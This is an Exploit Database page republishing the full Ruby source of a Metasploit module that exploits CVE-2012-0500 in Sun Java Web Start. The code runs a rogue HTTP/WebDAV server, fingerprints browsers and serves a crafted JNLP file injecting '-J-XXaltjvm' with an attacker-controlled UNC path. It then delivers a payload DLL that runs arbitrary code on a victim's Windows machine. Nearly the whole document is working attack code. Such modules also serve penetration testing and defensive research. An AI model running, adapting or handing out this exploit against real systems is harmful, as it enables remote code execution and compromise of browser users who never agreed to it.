Sun Java Web Start Plugin – Command Line Argument Injection (2012) (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-02-24
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18520/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	#
  	# This module acts as an HTTP server
  	#
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::EXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection (2012)',
  			'Description'=> %q{
  					This module exploits a flaw in the Web Start component of the Sun Java
  				Runtime Environment. The arguments passed to Java Web Start are not properly
  				validated, allowing injection of arbitrary arguments to the JVM.
  
  				By utilizing the lesser known -J option, an attacker can take advantage of
  				the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method
  				allows an attacker to execute arbitrary code in the context of an unsuspecting
  				browser user.
  
  				In order for this module to work, it must be ran as root on a server that
  				does not serve SMB. Additionally, the target host must have the WebClient
  				service (WebDAV Mini-Redirector) enabled.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => 'jduck', # Bug reported to Oracle by TELUS
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					[ 'CVE', '2012-0500' ],
  					[ 'OSVDB', '79227' ],
  					[ 'BID', '52015' ],
  					[ 'URL', 'http://seclists.org/fulldisclosure/2012/Feb/251' ],
  					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ]
  				],
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => '',
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', { } ],
  					[ 'Java Runtime on Windows x86',
  						{
  							'Platform' => 'win',
  							'Arch' => ARCH_X86
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Feb 14 2012'
  			))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
  				OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
  				OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ])
  			], self.class)
  	end
  
  
  	def auto_target(cli, request)
  		agent = request.headers['User-Agent']
  
  		ret = nil
  		#print_status("Agent: #{agent}")
  		# Check for MSIE and/or WebDAV redirector requests
  		if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
  			ret = targets[1]
  		elsif agent =~ /MSIE (6|7|8)\.0/
  			ret = targets[1]
  		else
  			print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
  		end
  
  		ret
  	end
  
  
  	def on_request_uri(cli, request)
  
  		# For this exploit, this does little besides ensures the user agent is a recognized one..
  		mytarget = target
  		if target.name == 'Automatic'
  			mytarget = auto_target(cli, request)
  			if (not mytarget)
  				send_not_found(cli)
  				return
  			end
  		end
  
  		# Special case to process OPTIONS for /
  		if (request.method == 'OPTIONS' and request.uri == '/')
  			process_options(cli, request, mytarget)
  			return
  		end
  
  		# Discard requests for ico files
  		if (request.uri =~ /\.ico$/i)
  			send_not_found(cli)
  			return
  		end
  
  		# If there is no subdirectory in the request, we need to redirect.
  		if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
  			if (request.uri == '/')
  				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
  			else
  				subdir = request.uri + '/'
  			end
  			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
  			send_redirect(cli, subdir)
  			return
  		else
  			share_name = $1
  		end
  
  		# dispatch WebDAV requests based on method first
  		case request.method
  		when 'OPTIONS'
  			process_options(cli, request, mytarget)
  
  		when 'PROPFIND'
  			process_propfind(cli, request, mytarget)
  
  		when 'GET'
  			process_get(cli, request, mytarget, share_name)
  
  		when 'PUT'
  			print_status("Sending 404 for PUT #{request.uri} ...")
  			send_not_found(cli)
  
  		else
  			print_error("Unexpected request method encountered: #{request.method}")
  
  		end
  
  	end
  
  	#
  	# GET requests
  	#
  	def process_get(cli, request, target, share_name)
  
  		print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  		# dispatch based on extension
  		if (request.uri =~ /\.dll$/i)
  			#
  			# DLL requests sent by IE and the WebDav Mini-Redirector
  			#
  			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
  
  			# Re-generate the payload
  			return if ((p = regenerate_payload(cli)) == nil)
  
  			# Generate a DLL based on the payload
  			dll_data = generate_payload_dll({ :code => p.encoded })
  
  			# Send it :)
  			send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
  
  		elsif (request.uri =~ /\.jnlp$/i)
  			#
  			# Send the jnlp document
  			#
  
  			# Prepare the UNC path...
  			if (datastore['UNCPATH'])
  				unc = datastore['UNCPATH'].dup
  			else
  				my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  				unc = "\\\\" + my_host + "\\" + share_name
  			end
  
  			# NOTE: we ensure there's only a single backslash here since it will get escaped
  			if unc[0,2] == "\\\\"
  				unc.slice!(0, 1)
  			end
  
  			http_agent = Rex::Text.rand_text_alpha(8+rand(8))
  
  			jnlp_data = <<-EOS
  <?xml version="1.0" encoding="UTF-8"?>
  <jnlp version="1">
  <information>
   <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
   <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
   <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
  </information>
  <resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' />
  </resources>
  <resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources>
  </jnlp>
  EOS
  			print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
  			send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
  
  		else
  			print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
  			jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
  
  			jnlp_path = get_resource()
  			if jnlp_path[-1,1] != '/'
  				jnlp_path << '/'
  			end
  			jnlp_path << request.uri.split('/')[-1] << '/'
  			jnlp_path << jnlp_name << ".jnlp"
  
  			send_redirect(cli, jnlp_path, '')
  
  		end
  
  	end
  
  	#
  	# OPTIONS requests sent by the WebDav Mini-Redirector
  	#
  	def process_options(cli, request, target)
  		print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  		headers = {
  			#'DASL' => '<DAV:sql>',
  			#'DAV'=> '1, 2',
  			'Allow'=> 'OPTIONS, GET, PROPFIND',
  			'Public' => 'OPTIONS, GET, PROPFIND'
  		}
  		send_response(cli, '', headers)
  	end
  
  
  	#
  	# PROPFIND requests sent by the WebDav Mini-Redirector
  	#
  	def process_propfind(cli, request, target)
  		path = request.uri
  		print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  		body = ''
  
  		if (path =~ /\.dll$/i)
  			# Response for the DLL
  			print_status("Sending DLL multistatus for #{path} ...")
  #<lp1:getcontentlength>45056</lp1:getcontentlength>
  			body = %Q|<?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype/>
  <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
  <lp2:executable>F</lp2:executable>
  <D:lockdiscovery/>
  <D:getcontenttype>application/octet-stream</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  </D:multistatus>
  |
  
  		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
  			# Response for anything else (generally just /)
  			print_status("Sending directory multistatus for #{path} ...")
  			body = %Q|<?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype><D:collection/></lp1:resourcetype>
  <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
  <D:lockdiscovery/>
  <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  </D:multistatus>
  |
  
  		else
  			print_status("Sending 404 for #{path} ...")
  			send_not_found(cli)
  			return
  
  		end
  
  		# send the response
  		resp = create_response(207, "Multi-Status")
  		resp.body = body
  		resp['Content-Type'] = 'text/xml'
  		cli.send_response(resp)
  	end
  
  
  	#
  	# Make sure we're on the right port/path to support WebDAV
  	#
  	def exploit
  		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
  			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
  		end
  
  		super
  	end
  
  end